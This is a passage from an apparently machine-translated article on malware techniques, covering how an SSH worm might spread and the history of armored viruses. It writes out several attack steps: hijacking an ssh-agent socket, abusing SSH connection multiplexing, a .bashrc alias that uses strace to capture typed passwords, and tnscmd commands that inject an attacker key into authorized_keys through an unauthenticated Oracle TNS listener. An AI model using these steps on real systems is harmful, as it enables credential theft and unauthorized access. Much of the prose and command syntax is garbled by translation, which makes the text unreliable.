>> export SSH_AUTH_SOCK = / tmp / ssh-DEADBEEF / agent.1337
>> export SSH_AGENT_PID = 1007
Now, search the bows as defined above. First, consider the file containing the key licensed by the user: ~ / .ssh / authorized keys . Network connections should also be considered. With root privileges (the highest user role), we can also find the network and look at the log files of incoming connections.
Now, we know how to find interesting target machines correctly. And a worm like SSH also needs to spread to these destinations. As mentioned above, worms can use an SSH vulnerability on the server or client, but there are many other ways.
The easiest way is to borrow the ssh-agent agent of a user:
>> export SSH_AUTH_SOCK = / tmp / ssh-DEADBEEF / agent.1337>> export SSH_AGENT_PID = 1007
Recently there has been another interesting component in SSH that requires an attacker to spend less effort to get results. It is possible to combine several multi-session SSH sessions into a single TCP connection. Therefore, you can log in to a remote host, all subsequent connections to the same host will be made based on previously available connections. This component can be configured by all user objects:
~ / .ssh / configHost GetinMeForFreeControlMaster autoControlPath ~/.ssh/currents/%r@%h:% p
Therefore, if a connection to the GetinMeForFree host already exists, the worm won't need to do anything else to connect to this system.
Worms can also take advantage of users' trust in encryption to steal their 'unbreakable' passwords or passwords. Just using a keylogger software like strace is enough. For example, replace the ssh command with an alias in ~ / .bashrc :
# new ssh command put in ~ / .bashrcalias ssh = 'strace -o / tmp / sshpwd-`date' +% d% h% m% s'`.log -eread, write, connect -s2048 ssh '
The worm will have to wait for the keys, such as:
connect (3, sa_family = AF_INET, sin_port = htons ( 22 ),sin_addr = inet_addr (" 192.168.0.103 "), 16)write (5, "Password:", 9) = 9read (5, " b ", 1) = 1read (5, " e ", 1) = 1read (5, " e ", 1) = 1read (5, " r ", 1) = 1read (5, "n", 1) = 1
The same is true when you get a passphrase set in a private key, usually found in ~ / .ssh / id_ [dsa | rsa] .
Another trick has been used in previous malware: embedding a brute force password application ('coercive force'). And now, this technique is still very popular in SSH attacks. If you are viewing log files, you will probably see the following:
Feb 9 23:25:14 localhost sshd [14236]: Failed password for root from80.95.161.86 port 58645 ssh2Feb 9 23:25:17 localhost sshd [14238]: Failed password for user invalidadmin from 80.95.161.86 port 58806 ssh2Feb 9 23:25:23 localhost sshd [14313]: Failed password for user invalidguest from 80.95.161.86 port 59243 ssh2Feb 9 23:25:26 localhost sshd [14351]: Failed password for user saiwebmaster from 80.95.161.86 port 59445 ssh2Feb 9 23:25:29 localhost sshd [14364]: Failed password for user invalidoracle from 80.95.161.86 port 59445 ssh2
The worm can exploit weaknesses in other applications, especially if it wipes or successfully overwrites a file to the remote machine. If the worm sends its public key to the destination's ~ / .ssh / authorized keys file , and assuming that the authentication type is already licensed, it only needs to connect to the remote host.
Web applications are the first target for this method, since most of them allow recording to a remote destination. However, in this example we will look at an old and fairly well-known vulnerability in Oracle, which seems to be the right thing for our worms.
In previous Oracle versions, there was a component called TNS Listener (TNS listener), which accepted commands and direct connections without any form of authentication. Therefore, the idea here is to connect to the listener, change the log file to ~ / .ssh / authorized keys , send a dangerous command (such as a worm key) that will be included in the new log file . And the game is over.
>> tnscmd -h 192.168.0.103 -p 1521 --rawcmd "(DESCRIPTION = (CONNECT_DATA = (CID =(PROGRAM =) (HOST =) (USER =)) (COMMAND = log_file) (ARGUMENTS = 4) (SERVICE = LISTENER)(VERSION = 1) (VALUE = /home/ora92/.ssh/authorized_keys ))) ">> tnscmd -h 192.168.0.103 -p 1521 --rawcmd "(CONNECT_DATA =(( ssh-dss AAAAB3NzaC1kc3D . Ckuu4=raynal@poisonivy.gotham "
Thank you for coding and its two-way mechanism. They can help attackers to easily target the destination with high accuracy. Also thanks to the users themselves. Thanks to their carelessness, it is not too difficult to attack these targets. And in combination with local vulnerabilities, the possibility of spreading an SSH worm is possible. It is necessary to encourage many users to realize this method so they can protect themselves.
The impact of the current worm is limited, since there are not really many SSH servers on the network, there are not many potential target machines. But imagine what would happen if there was a system with similar components and many, many users .
Time issue: the appearance of armored virus
Before the end of Part 1 of this series, we will introduce some sophisticated armored viruses and then repeat some important concepts to prepare for the next two.
When it comes to attack and protection, time is a very important factor. Usually coding code or data is used to protect the copyright of the software. The code and data are encrypted to prevent anyone from reading it. And only authorized users can provide decryption keys to read them in plain text. Some coding layers can include stacks, and code or data can be partially decoded at a certain time in memory. These techniques are used either to mark software or to protect copyright.
Unfortunately, similar techniques are also used in malware, and most are the same. Let's summarize the 'life' of a malware when it starts spreading.
One day, when malware was discovered, it became a hot topic, a new malicious program code for analysts. When the analysis is complete, signs and evaluations are created to allow the anti-virus software to remove the malware. Then, signs and evaluations are provided to end users through the auto-update versions of the software. New copies of malware are immediately detected and destroyed when they reach the target machine. Therefore, the final conclusion is: when malware spreads, it will be destroyed.
To avoid this 'problem', the malware writers have to maintain it, or even ban the analysis on his malicious product. A virus that uses many techniques to avoid or delay the analysis will become armored virus.
The first armored virus built on this purpose was called Whale and first appeared around September 1990. It uses a number of techniques:
If these techniques are now commonplace, about 16 years later, you can imagine that some malicious code will enter the lab of antivirus software manufacturers.
In part two of this article, we will learn more about encapsulated viruses with deformation techniques (both content and form). We will delve into the details of Bradley worm, a virus that cannot be analyzed. In addition, we will look at the popular Skype application and learn how an attacker used a close protocol, how a built-in encryption mechanism as a vector for attacks,
Conclusion part one
In this section, the concepts of 'virus coding science' have been defined so that we can understand how those who write virus coders often use it. We discussed two examples, one is the weakness in SuckIt rootkit and the other is the potential of a future SSH worm.
In the next part two, we will look at some of the latest viruses with sneaky techniques, to avoid detection and analysis. We will also continue to discuss viruses bound to the concept of the Bradley worm, a virus that cannot be analyzed, using virus encryption technology. Skype will be used as an example for applications that embed viruses and a close protocol that can be exploited by an attacker and manipulated on it.